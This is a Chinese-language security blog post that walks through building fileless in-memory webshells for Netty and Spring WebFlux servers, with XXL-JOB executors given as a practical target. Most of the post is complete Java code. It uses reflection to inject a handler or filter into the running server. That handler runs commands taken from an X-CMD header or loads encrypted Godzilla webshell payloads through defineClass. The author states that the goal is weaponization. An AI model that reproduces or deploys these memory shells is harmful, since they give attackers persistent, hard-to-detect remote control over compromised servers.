【Web实战】内存马系列 Netty/WebFlux 内存马

XXL-JOB EXECUTOR/Flink 对应的内存马

前言

作为Java内存马板块最冷门的一个,文章也不是很多,但实战中可能会遇到,我们需要想办法武器化。比如XXL-JOB的excutor就是一个基于netty的应用,实际上也没太认真去分析过这些内存马,还是逃不掉的捏。

环境搭建

这里参考Spring WebFlux的搭建教程,在上述参考链接中,另外需要准备一下Java-object-searcher作为我们寻找类的辅助工具,c0ny大师傅写的一个工具,对于内存马构造还是比较好使用的,事不宜迟,开始吧。
IDEA创建一个Spring reactive项目,Netty是响应式的服务器。然后我们首先研究netty层的内存马

Netty内存马

Netty他也是一个中间件,但他比较独特,他是动态生成pipeline然后进行处理。Netty内存马注入的关键就是找插入类似Filter东西的位置。本人对netty中间件研究疏浅,c0ny1大佬直接给出了结论,那就是
CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer

image.png

  1. static ChannelPipelineConfigurer compositeChannelPipelineConfigurer(ChannelPipelineConfigurer configurer, ChannelPipelineConfigurer other) {
  2. if (configurer == ChannelPipelineConfigurer.emptyConfigurer()) {
  3. return other;
  4. } else if (other == ChannelPipelineConfigurer.emptyConfigurer()) {
  5. return configurer;
  6. } else {
  7. int length = 2;
  8. ChannelPipelineConfigurer[] thizConfigurers;
  9. if (configurer instanceof CompositeChannelPipelineConfigurer) {
  10. thizConfigurers = ((CompositeChannelPipelineConfigurer)configurer).configurers;
  11. length += thizConfigurers.length - 1;
  12. } else {
  13. thizConfigurers = null;
  14. }
  15. ChannelPipelineConfigurer[] otherConfigurers;
  16. if (other instanceof CompositeChannelPipelineConfigurer) {
  17. otherConfigurers = ((CompositeChannelPipelineConfigurer)other).configurers;
  18. length += otherConfigurers.length - 1;
  19. } else {
  20. otherConfigurers = null;
  21. }
  22. ChannelPipelineConfigurer[] newConfigurers = new ChannelPipelineConfigurer[length];
  23. int pos;
  24. if (thizConfigurers != null) {
  25. pos = thizConfigurers.length;
  26. System.arraycopy(thizConfigurers, 0, newConfigurers, 0, pos);
  27. } else {
  28. pos = 1;
  29. newConfigurers[0] = configurer;
  30. }
  31. if (otherConfigurers != null) {
  32. System.arraycopy(otherConfigurers, 0, newConfigurers, pos, otherConfigurers.length);
  33. } else {
  34. newConfigurers[pos] = other;
  35. }
  36. return new CompositeChannelPipelineConfigurer(newConfigurers);
  37. }
  38. }
  39. }

默认other是空的,所以直接使用spring gateway默认的Configurer,假如other不为空,就会将2个configurer合二为一成一个新的configurer。
那么我们需要思考的就是如何注入一个other,添加恶意的pipeline,通过翻阅源码可以找到reactor.netty.transport.TransportConfig类的doOnChannelInit属性存储着other参数

  1. package com.example.webfluxmem;
  2. import me.gv7.tools.josearcher.entity.Blacklist;
  3. import me.gv7.tools.josearcher.entity.Keyword;
  4. import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
  5. import org.springframework.core.annotation.Order;
  6. import org.springframework.stereotype.Component;
  7. import org.springframework.web.server.ServerWebExchange;
  8. import org.springframework.web.server.WebFilter;
  9. import org.springframework.web.server.WebFilterChain;
  10. import reactor.core.publisher.Mono;
  11. import java.util.ArrayList;
  12. import java.util.List;
  13. @Component
  14. @Order(value = 2)
  15. public class NormalFilter implements WebFilter {
  16. @Override
  17. public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
  18. //设置搜索类型包含Request关键字的对象
  19. List<Keyword> keys = new ArrayList<>();
  20. keys.add(new Keyword.Builder().setField_type("doOnChannelInit").build());
  21. List<Blacklist> blacklists = new ArrayList<>();
  22. blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
  23. SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
  24. searcher.setBlacklists(blacklists);
  25. searcher.setIs_debug(true);
  26. searcher.setMax_search_depth(15);
  27. searcher.setReport_save_path("E:\\CTFLearning");
  28. searcher.searchObject();
  29. return chain.filter(exchange);
  30. }
  31. }

使用C0ny1大佬的java-object-searcher辅助工具,我们可以较快的定位到doOnChannelInit的获取方式

image.png
我们可以尝试如下获取

  1. try {
  2. Method getThreads = Thread.class.getDeclaredMethod("getThreads");
  3. getThreads.setAccessible(true);
  4. Object threads = getThreads.invoke(null);
  5. for (int i = 0; i < Array.getLength(threads); i++) {
  6. Object thread = Array.get(threads, i);
  7. if (thread != null &amp;&amp; thread.getClass().getName().contains("NettyWebServer")) {
  8. Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
  9. _val$disposableServer.setAccessible(true);
  10. Object val$disposableServer = _val$disposableServer.get(thread);
  11. Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
  12. _config.setAccessible(true);
  13. Object config = _config.get(val$disposableServer);
  14. Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
  15. _doOnChannelInit.setAccessible(true);
  16. msg = "inject-success";
  17. }
  18. }
  19. }catch (Exception e){
  20. msg = "inject-error";
  21. }

image.png
获取到了config对象,他实际上是一个reactor.netty.transport.TransportConfig类。然后从父类获取doOnChannelInit属性即可。

image.png
最后可以造出如下的内存马

  1. package com.example.webfluxmem;
  2. import io.netty.buffer.Unpooled;
  3. import io.netty.channel.*;
  4. import io.netty.handler.codec.http.*;
  5. import io.netty.util.CharsetUtil;
  6. import reactor.netty.ChannelPipelineConfigurer;
  7. import reactor.netty.ConnectionObserver;
  8. import java.lang.reflect.Array;
  9. import java.lang.reflect.Field;
  10. import java.lang.reflect.Method;
  11. import java.net.SocketAddress;
  12. import java.util.Scanner;
  13. public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
  14. public static String doInject(){
  15. String msg = "inject-start";
  16. try {
  17. Method getThreads = Thread.class.getDeclaredMethod("getThreads");
  18. getThreads.setAccessible(true);
  19. Object threads = getThreads.invoke(null);
  20. for (int i = 0; i < Array.getLength(threads); i++) {
  21. Object thread = Array.get(threads, i);
  22. if (thread != null &amp;&amp; thread.getClass().getName().contains("NettyWebServer")) {
  23. Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
  24. _val$disposableServer.setAccessible(true);
  25. Object val$disposableServer = _val$disposableServer.get(thread);
  26. Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
  27. _config.setAccessible(true);
  28. Object config = _config.get(val$disposableServer);
  29. Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
  30. _doOnChannelInit.setAccessible(true);
  31. _doOnChannelInit.set(config, new NettyMemshell());
  32. msg = "inject-success";
  33. }
  34. }
  35. }catch (Exception e){
  36. msg = "inject-error";
  37. }
  38. return msg;
  39. }
  40. @Override
  41. // Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler
  42. public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
  43. ChannelPipeline pipeline = channel.pipeline();
  44. // 将内存马的handler添加到spring层handler的前面
  45. pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
  46. }
  47. @Override
  48. // Step2. 作为Handler处理请求,在此实现内存马的功能逻辑
  49. public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
  50. if(msg instanceof HttpRequest){
  51. HttpRequest httpRequest = (HttpRequest)msg;
  52. try {
  53. if(httpRequest.headers().contains("X-CMD")) {
  54. String cmd = httpRequest.headers().get("X-CMD");
  55. String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
  56. // 返回执行结果
  57. send(ctx, execResult, HttpResponseStatus.OK);
  58. return;
  59. }
  60. }catch (Exception e){
  61. e.printStackTrace();
  62. }
  63. }
  64. ctx.fireChannelRead(msg);
  65. }
  66. private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
  67. FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
  68. response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
  69. ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
  70. }
  71. }

其中

  1. public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
  2. ChannelPipeline pipeline = channel.pipeline();
  3. // 将内存马的handler添加到spring层handler的前面
  4. pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
  5. }

这一段是将该类当做一个handler注入,因此需要继承ChannelDuplexHandler这个类,channelread对应的就是它的方法,然后onChannelnit对应的就是ChannelPipelineConfigurer的方法。

上述代码也不是特别的长。逻辑很简单,主要是挖掘的思路,我们看一下other是怎么被分配过去的。

  1. package com.example.webfluxmem;
  2. import me.gv7.tools.josearcher.entity.Blacklist;
  3. import me.gv7.tools.josearcher.entity.Keyword;
  4. import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
  5. import org.springframework.core.annotation.Order;
  6. import org.springframework.stereotype.Component;
  7. import org.springframework.web.server.ServerWebExchange;
  8. import org.springframework.web.server.WebFilter;
  9. import org.springframework.web.server.WebFilterChain;
  10. import reactor.core.publisher.Mono;
  11. import java.lang.reflect.Array;
  12. import java.lang.reflect.Field;
  13. import java.lang.reflect.Method;
  14. import java.util.ArrayList;
  15. import java.util.List;
  16. @Component
  17. @Order(value = 2)
  18. public class NormalFilter implements WebFilter {
  19. @Override
  20. public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
  21. NettyMemshell.doInject();
  22. return null;
  23. }
  24. }

这里就直接注入,调试分析一下

image.png
在initChannel方法进行初始化时,将我们上面恶意注入的configurer注入进去了

image.png
最后合二为一,将NettyMemshell的索引放到首位,也就造成了命令执行

image.png
假如我们需要假如哥斯拉逻辑的话自己完善一下即可

  1. package com.example.webfluxmem;
  2. import io.netty.buffer.ByteBuf;
  3. import io.netty.buffer.Unpooled;
  4. import io.netty.channel.*;
  5. import io.netty.handler.codec.http.*;
  6. import io.netty.handler.codec.http.multipart.DefaultHttpDataFactory;
  7. import io.netty.handler.codec.http.multipart.HttpPostRequestDecoder;
  8. import io.netty.handler.codec.http.multipart.InterfaceHttpData;
  9. import io.netty.handler.codec.http.multipart.MemoryAttribute;
  10. import io.netty.util.CharsetUtil;
  11. import reactor.netty.ChannelPipelineConfigurer;
  12. import reactor.netty.ConnectionObserver;
  13. import javax.crypto.Cipher;
  14. import javax.crypto.spec.SecretKeySpec;
  15. import java.io.ByteArrayOutputStream;
  16. import java.lang.reflect.Array;
  17. import java.lang.reflect.Field;
  18. import java.lang.reflect.Method;
  19. import java.net.SocketAddress;
  20. import java.net.URL;
  21. import java.net.URLClassLoader;
  22. import java.util.*;
  23. public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
  24. public static String doInject(){
  25. String msg = "inject-start";
  26. try {
  27. Method getThreads = Thread.class.getDeclaredMethod("getThreads");
  28. getThreads.setAccessible(true);
  29. Object threads = getThreads.invoke(null);
  30. for (int i = 0; i < Array.getLength(threads); i++) {
  31. Object thread = Array.get(threads, i);
  32. if (thread != null &amp;&amp; thread.getClass().getName().contains("NettyWebServer")) {
  33. Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
  34. _val$disposableServer.setAccessible(true);
  35. Object val$disposableServer = _val$disposableServer.get(thread);
  36. Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
  37. _config.setAccessible(true);
  38. Object config = _config.get(val$disposableServer);
  39. Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
  40. _doOnChannelInit.setAccessible(true);
  41. _doOnChannelInit.set(config, new NettyMemshell());
  42. msg = "inject-success";
  43. }
  44. }
  45. }catch (Exception e){
  46. msg = "inject-error";
  47. }
  48. return msg;
  49. }
  50. String xc = "3c6e0b8a9c15224a";
  51. String pass = "pass";
  52. String md5 = md5(pass + xc);
  53. private static Class defClass(byte[] classbytes)throws Exception{
  54. URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader());
  55. Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
  56. method.setAccessible(true);
  57. return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length);
  58. }
  59. public byte[] x(byte[] s, boolean m) {
  60. try {
  61. javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
  62. c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
  63. return c.doFinal(s);
  64. } catch(Exception e) {
  65. return null;
  66. }
  67. }
  68. public static String md5(String s) {
  69. String ret = null;
  70. try {
  71. java.security.MessageDigest m;
  72. m = java.security.MessageDigest.getInstance("MD5");
  73. m.update(s.getBytes(), 0, s.length());
  74. ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
  75. } catch(Exception e) {}
  76. return ret;
  77. }
  78. public static String base64Encode(byte[] bs) throws Exception {
  79. Class base64;
  80. String value = null;
  81. try {
  82. base64 = Class.forName("java.util.Base64");
  83. Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
  84. value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] {
  85. byte[].class
  86. }).invoke(Encoder, new Object[] {
  87. bs
  88. });
  89. } catch(Exception e) {
  90. try {
  91. base64 = Class.forName("sun.misc.BASE64Encoder");
  92. Object Encoder = base64.newInstance();
  93. value = (String) Encoder.getClass().getMethod("encode", new Class[] {
  94. byte[].class
  95. }).invoke(Encoder, new Object[] {
  96. bs
  97. });
  98. } catch(Exception e2) {}
  99. }
  100. return value;
  101. }
  102. public static byte[] base64Decode(String bs) throws Exception {
  103. Class base64;
  104. byte[] value = null;
  105. try {
  106. base64 = Class.forName("java.util.Base64");
  107. Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
  108. value = (byte[]) decoder.getClass().getMethod("decode", new Class[] {
  109. String.class
  110. }).invoke(decoder, new Object[] {
  111. bs
  112. });
  113. } catch(Exception e) {
  114. try {
  115. base64 = Class.forName("sun.misc.BASE64Decoder");
  116. Object decoder = base64.newInstance();
  117. value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] {
  118. String.class
  119. }).invoke(decoder, new Object[] {
  120. bs
  121. });
  122. } catch(Exception e2) {}
  123. }
  124. return value;
  125. }
  126. @Override
  127. // Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler
  128. public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
  129. ChannelPipeline pipeline = channel.pipeline();
  130. // 将内存马的handler添加到spring层handler的前面
  131. pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
  132. }
  133. private static ThreadLocal<AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream>> requestThreadLocal = new ThreadLocal<>();
  134. private static Class payload;
  135. @Override
  136. // Step2. 作为Handler处理请求,在此实现内存马的功能逻辑
  137. public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
  138. if (msg instanceof HttpRequest){
  139. HttpRequest httpRequest = (HttpRequest) msg;
  140. AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = new AbstractMap.SimpleEntry(httpRequest,new ByteArrayOutputStream());
  141. requestThreadLocal.set(simpleEntry);
  142. }else if(msg instanceof HttpContent){
  143. HttpContent httpContent = (HttpContent)msg;
  144. AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = requestThreadLocal.get();
  145. if (simpleEntry == null){
  146. return;
  147. }
  148. HttpRequest httpRequest = simpleEntry.getKey();
  149. ByteArrayOutputStream contentBuf = simpleEntry.getValue();
  150. ByteBuf byteBuf = httpContent.content();
  151. int size = byteBuf.capacity();
  152. byte[] requestContent = new byte[size];
  153. byteBuf.getBytes(0,requestContent,0,requestContent.length);
  154. contentBuf.write(requestContent);
  155. if (httpContent instanceof LastHttpContent){
  156. try {
  157. byte[] data = x(contentBuf.toByteArray(), false);
  158. if (payload == null) {
  159. payload = defClass(data);
  160. send(ctx,x(new byte[0], true),HttpResponseStatus.OK);
  161. } else {
  162. Object f = payload.newInstance();
  163. //初始化内存流
  164. java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
  165. //将内存流传递给哥斯拉的payload
  166. f.equals(arrOut);
  167. //将解密后的数据传递给哥斯拉Payload
  168. f.equals(data);
  169. //通知哥斯拉Payload执行shell逻辑
  170. f.toString();
  171. //调用arrOut.toByteArray()获取哥斯拉Payload的输出
  172. send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK);
  173. }
  174. } catch(Exception e) {
  175. ctx.fireChannelRead(httpRequest);
  176. }
  177. }else {
  178. ctx.fireChannelRead(msg);
  179. }
  180. }
  181. }
  182. private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) {
  183. FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context));
  184. response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
  185. ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
  186. }
  187. }

这里构造哥斯拉内存马其实有个问题,就是Netty对于处理请求参数是不完善的,不像tomcat和springboot可以通过request对象直接获取POST和GET请求参数,netty的request只可以获取一些基础的headers,因此我们要想办法获取到哥斯拉传进来的POST数据。这里我需要解释一下netty关于处理请求的特点,他会将body和header部分分为2个对象发送,首先是header对象。

image.png
首先会接收到一个DefaultHttpRequest对象,这个对象内部储存了请求头和请求类型等数据。

image.png
然后处理完header后就是body

image.png
对应的有一个DeafaultHttpContent对象。它则储存着body的内容,这样就可以获取哥斯拉的payload了。

WebFlux内存马

其实我一开始还以为WebFlux就是Netty,后面发现自己铸币了,这是2种东西,WebFlux是基于响应式reactive的框架。Tomcat和Spring都有自己类似的Listener/inceptor/filter
那么我们WebFlux肯定也少不了,它就是WebFIlter

image.png
那我们如何确认注入点呢,上述参考文章里的一位师傅给出的方法我觉得是比较妙的,首先创建一个普通的FIlter,随后再用java-object-searcher去搜索这个自定义filter的名字,这样就可以知道他储存在哪儿了。受益匪浅。

  1. package com.example.webfluxmem;
  2. import me.gv7.tools.josearcher.entity.Blacklist;
  3. import me.gv7.tools.josearcher.entity.Keyword;
  4. import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
  5. import org.springframework.core.annotation.Order;
  6. import org.springframework.stereotype.Component;
  7. import org.springframework.web.server.ServerWebExchange;
  8. import org.springframework.web.server.WebFilter;
  9. import org.springframework.web.server.WebFilterChain;
  10. import reactor.core.publisher.Mono;
  11. import java.lang.reflect.Array;
  12. import java.lang.reflect.Field;
  13. import java.lang.reflect.Method;
  14. import java.util.ArrayList;
  15. import java.util.List;
  16. @Component
  17. @Order(value = 2)
  18. public class NormalFilter implements WebFilter {
  19. @Override
  20. public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
  21. //设置搜索类型包含Request关键字的对象
  22. List<Keyword> keys = new ArrayList<>();
  23. keys.add(new Keyword.Builder().setField_type("NormalFilter").build());
  24. List<Blacklist> blacklists = new ArrayList<>();
  25. blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
  26. SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
  27. searcher.setBlacklists(blacklists);
  28. searcher.setIs_debug(true);
  29. searcher.setMax_search_depth(15);
  30. searcher.setReport_save_path("E:\\CTFLearning");
  31. searcher.searchObject();
  32. NettyMemshell.doInject();
  33. return chain.filter(exchange);
  34. }
  35. }

最终结果如下。

  1. #############################################################
  2. Java Object Searcher v0.01
  3. author: c0ny1<root@gv7.me>
  4. github: http://github.com/c0ny1/java-object-searcher
  5. #############################################################
  6. TargetObject = {reactor.netty.resources.DefaultLoopResources$EventLoop}
  7. ---> group = {java.lang.ThreadGroup}
  8. ---> threads = {class [Ljava.lang.Thread;}
  9. ---> [5] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1}
  10. ---> this$0 = {org.springframework.boot.web.embedded.netty.NettyWebServer}
  11. ---> handler = {org.springframework.http.server.reactive.ReactorHttpHandlerAdapter}
  12. ---> httpHandler = {org.springframework.boot.web.reactive.context.WebServerManager$DelayedInitializationHttpHandler}
  13. ---> delegate = {org.springframework.web.server.adapter.HttpWebHandlerAdapter}
  14. ---> delegate = {org.springframework.web.server.handler.ExceptionHandlingWebHandler}
  15. ---> delegate = {org.springframework.web.server.handler.FilteringWebHandler}
  16. ---> chain = {org.springframework.web.server.handler.DefaultWebFilterChain}
  17. ---> allFilters = {java.util.List<org.springframework.web.server.WebFilter>}
  18. ---> [0] = {com.example.webfluxmem.NormalFilter}

工具还是比较强大的,完整的获取到了filter储存的位置,我们可以看到,所有filter都被储存在了chain属性里,然后chain属性是被存在FilteringWebHandler里面。所以要注入的话我们就得添加一个恶意的chain进去。
那么有师傅就会好奇为什么我不能直接加一个Filter到allFilters属性里去呢?这个问题就涉及到WebFlux的设计了,一个DefaultWebFilterChain实例就是chain的一个link,这个问题在
https://xz.aliyun.com/t/11331有解答
那我们思路明确了,获取到FIlteringWebHandler后就注入恶意chain就结束了。
最终我内存马如下

  1. package com.example.webfluxmem;
  2. import org.springframework.boot.web.embedded.netty.NettyWebServer;
  3. import org.springframework.core.io.buffer.DataBuffer;
  4. import org.springframework.core.io.buffer.DefaultDataBuffer;
  5. import org.springframework.core.io.buffer.DefaultDataBufferFactory;
  6. import org.springframework.http.HttpHeaders;
  7. import org.springframework.http.HttpStatus;
  8. import org.springframework.http.server.reactive.ReactorHttpHandlerAdapter;
  9. import org.springframework.http.server.reactive.ServerHttpResponse;
  10. import org.springframework.util.MultiValueMap;
  11. import org.springframework.web.server.ServerWebExchange;
  12. import org.springframework.web.server.WebFilter;
  13. import org.springframework.web.server.WebFilterChain;
  14. import org.springframework.web.server.WebHandler;
  15. import org.springframework.web.server.adapter.HttpWebHandlerAdapter;
  16. import org.springframework.web.server.handler.DefaultWebFilterChain;
  17. import org.springframework.web.server.handler.ExceptionHandlingWebHandler;
  18. import org.springframework.web.server.handler.FilteringWebHandler;
  19. import reactor.core.publisher.Mono;
  20. import javax.crypto.Cipher;
  21. import javax.crypto.spec.SecretKeySpec;
  22. import java.io.ByteArrayOutputStream;
  23. import java.lang.reflect.Array;
  24. import java.lang.reflect.Field;
  25. import java.lang.reflect.Method;
  26. import java.lang.reflect.Modifier;
  27. import java.net.URL;
  28. import java.net.URLClassLoader;
  29. import java.nio.charset.StandardCharsets;
  30. import java.util.ArrayList;
  31. import java.util.List;
  32. public class WebFluxFilterMemshell implements WebFilter {
  33. String xc = "3c6e0b8a9c15224a"; // key
  34. String pass = "pass";
  35. String md5 = md5(pass + xc);
  36. Class payload;
  37. public byte[] x(byte[] s, boolean m) {
  38. try {
  39. Cipher c = Cipher.getInstance("AES");
  40. c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));
  41. return c.doFinal(s);
  42. } catch (Exception e) {
  43. return null;
  44. }
  45. }
  46. public static String md5(String s) {
  47. String ret = null;
  48. try {
  49. java.security.MessageDigest m;
  50. m = java.security.MessageDigest.getInstance("MD5");
  51. m.update(s.getBytes(), 0, s.length());
  52. ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
  53. } catch (Exception e) {
  54. }
  55. return ret;
  56. }
  57. public static String base64Encode(byte[] bs) throws Exception {
  58. Class base64;
  59. String value = null;
  60. try {
  61. base64 = Class.forName("java.util.Base64");
  62. Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
  63. value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
  64. } catch (Exception e) {
  65. try {
  66. base64 = Class.forName("sun.misc.BASE64Encoder");
  67. Object Encoder = base64.newInstance();
  68. value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
  69. } catch (Exception e2) {
  70. }
  71. }
  72. return value;
  73. }
  74. public static byte[] base64Decode(String bs) throws Exception {
  75. Class base64;
  76. byte[] value = null;
  77. try {
  78. base64 = Class.forName("java.util.Base64");
  79. Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
  80. value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
  81. } catch (Exception e) {
  82. try {
  83. base64 = Class.forName("sun.misc.BASE64Decoder");
  84. Object decoder = base64.newInstance();
  85. value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
  86. } catch (Exception e2) {
  87. }
  88. }
  89. return value;
  90. }
  91. public static Object getFieldValue(Object obj, String fieldName,boolean superClass) throws Exception {
  92. Field f;
  93. if(superClass){
  94. f = obj.getClass().getSuperclass().getDeclaredField(fieldName);
  95. }else {
  96. f = obj.getClass().getDeclaredField(fieldName);
  97. }
  98. f.setAccessible(true);
  99. return f.get(obj);
  100. }
  101. public static String doInject() {
  102. String msg = "Inject MemShell Failed";
  103. Method getThreads = null;
  104. try {
  105. getThreads = Thread.class.getDeclaredMethod("getThreads");
  106. getThreads.setAccessible(true);
  107. Object threads = getThreads.invoke(null);
  108. for (int i = 0; i < Array.getLength(threads); i++) {
  109. Object thread = Array.get(threads, i);
  110. if (thread != null &amp;&amp; thread.getClass().getName().contains("NettyWebServer")) {
  111. // 获取defaultWebFilterChain
  112. NettyWebServer nettyWebServer = (NettyWebServer) getFieldValue(thread, "this$0",false);
  113. ReactorHttpHandlerAdapter reactorHttpHandlerAdapter = (ReactorHttpHandlerAdapter) getFieldValue(nettyWebServer, "handler",false);
  114. Object delayedInitializationHttpHandler = getFieldValue(reactorHttpHandlerAdapter,"httpHandler",false);
  115. HttpWebHandlerAdapter httpWebHandlerAdapter= (HttpWebHandlerAdapter)getFieldValue(delayedInitializationHttpHandler,"delegate",false);
  116. ExceptionHandlingWebHandler exceptionHandlingWebHandler= (ExceptionHandlingWebHandler)getFieldValue(httpWebHandlerAdapter,"delegate",true);
  117. FilteringWebHandler filteringWebHandler = (FilteringWebHandler)getFieldValue(exceptionHandlingWebHandler,"delegate",true);
  118. DefaultWebFilterChain defaultWebFilterChain= (DefaultWebFilterChain)getFieldValue(filteringWebHandler,"chain",false);
  119. // 构造新的Chain进行替换
  120. Object handler= getFieldValue(defaultWebFilterChain,"handler",false);
  121. List<WebFilter> newAllFilters= new ArrayList<>(defaultWebFilterChain.getFilters());
  122. newAllFilters.add(0,new WebFluxFilterMemshell());// 链的遍历顺序即"优先级",因此添加到首位
  123. DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters);
  124. Field f = filteringWebHandler.getClass().getDeclaredField("chain");
  125. f.setAccessible(true);
  126. Field modifersField = Field.class.getDeclaredField("modifiers");
  127. modifersField.setAccessible(true);
  128. modifersField.setInt(f, f.getModifiers() &amp; ~Modifier.FINAL);// 去掉final修饰符以重新set
  129. f.set(filteringWebHandler,newChain);
  130. modifersField.setInt(f, f.getModifiers() &amp; Modifier.FINAL);
  131. msg = "Inject MemShell Successful";
  132. }
  133. }
  134. } catch (Exception e) {
  135. e.printStackTrace();
  136. }
  137. return msg;
  138. }
  139. @Override
  140. public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
  141. return exchange.getResponse().writeWith(getPost(exchange));
  142. }
  143. private Mono<DefaultDataBuffer> getPost(ServerWebExchange exchange){
  144. Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
  145. Mono<DefaultDataBuffer> bytesdata = formData.flatMap(map -> {
  146. StringBuilder result = new StringBuilder();
  147. try {
  148. byte[] data = base64Decode(map.getFirst(pass));
  149. data = x(data, false);
  150. if (payload == null) {
  151. URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
  152. Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
  153. defMethod.setAccessible(true);
  154. payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);
  155. } else {
  156. ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
  157. Object f = payload.newInstance();
  158. f.equals(arrOut);
  159. f.equals(data);
  160. f.equals(exchange.getRequest());
  161. result.append(md5.substring(0, 16));
  162. f.toString();
  163. result.append(base64Encode(x(arrOut.toByteArray(), true)));
  164. result.append(md5.substring(16));
  165. }
  166. }
  167. catch (Exception e) {
  168. }
  169. return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
  170. });
  171. return bytesdata;
  172. }
  173. }

还是比较好玩的啊哈,主要问题也是那个request对象的获取,我发现netty和webflux都是大差不差。netty是更底层的东西,springWebflux其实是基于netty的。通过构造内存马对哥斯拉内存马的逻辑又加深了一层,哥斯拉内存马主要是进行defineclass执行指令。获取body中pass参数的值,所以小难点就是拿到值,这个属于是开发的知识,web狗表示有点不熟悉,不过网上搜着搜着也就出来了。

image.png

image.png
2个马都比较好玩,其中Netty我用的是JAVA_AES_RAW,并无base64加密。

相关代码

相关代码均已上传github
https://github.com/Boogipop/Netty-WebFlux-Memshell

参考:
https://xz.aliyun.com/t/12388?ref=www.ctfiot.com#toc-8
https://xz.aliyun.com/t/11331#toc-0
https://xz.aliyun.com/t/12952#toc-6
https://github.com/cxyxiaokui/spring-boot-examples/blob/master/doc/webflux/Spring%20Boot%202%20%E5%BF%AB%E9%80%9F%E6%95%99%E7%A8%8B%EF%BC%9AWebFlux%20Restful%20CRUD%20%E5%AE%9E%E8%B7%B5%EF%BC%88%E4%B8%89%EF%BC%89.md
https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg

  • 发表于 2023-11-30 09:00:02
